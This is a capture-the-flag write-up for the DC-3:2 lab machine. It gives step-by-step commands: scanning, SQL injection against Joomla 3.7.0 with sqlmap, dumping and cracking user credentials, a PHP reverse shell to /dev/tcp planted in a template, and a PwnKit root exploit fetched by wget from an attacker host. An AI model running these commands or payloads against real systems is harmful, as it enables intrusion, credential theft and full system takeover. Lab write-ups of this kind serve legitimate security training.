DC-3:2 CTF Report

Analyst: Joshghun Chalabizada

Date: 18 April 2025

Machine: DC-3:2

1. Port Scanning

Performed Nmap scan. Only port 80 was open. The web application was running Joomla.

```
nmap -sS -p- 10.0.2.7
```

2. Joomla Enumeration

Discovered Joomla version 3.7.0 via the file /administrator/manifests/files/joomla.xml after running gobuster.

```
gobuster dir -u http://10.0.2.7 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

3. SQL Injection via com_fields

Found SQL injection vulnerability in Joomla 3.7.0 via com_fields (CVE-2017-8917). Extracted databases using SQLMap.

```
sqlmap -u
"http://10.0.2.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]
=1" --dbs --batch
```

4. Extracting Users Table

Identified 'joomladb' as the main database. Enumerated tables and dumped users from #__users table.

```
sqlmap -u
"http://10.0.2.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]
=1" -D joomladb --tables --batch
sqlmap -u "..." -D joomladb -T '#__users' -C id,username,password,email --dump --batch
```

5. Cracking Password Hash

Used John the Ripper with rockyou.txt to crack the password hash. Recovered password: snoopy

```
john --wordlist=/usr/share/wordlists/rockyou.txt joomla.hash
```

6. Getting Initial Shell

Logged into Joomla admin panel and modified index.php in a template to get a reverse shell.

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'");
?>
```

7. Privilege Escalation via pkexec

Found /usr/bin/pkexec as SUID. Used CVE-2021-4034 (PwnKit) to escalate privileges to root.

```
wget http://<kali-ip>:8000/PwnKit.c
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
CMD="/bin/bash" ./PwnKit
```

8. Root Access & Flag

Successfully gained root access and captured the flag.

```
cat /root/flag.txt
```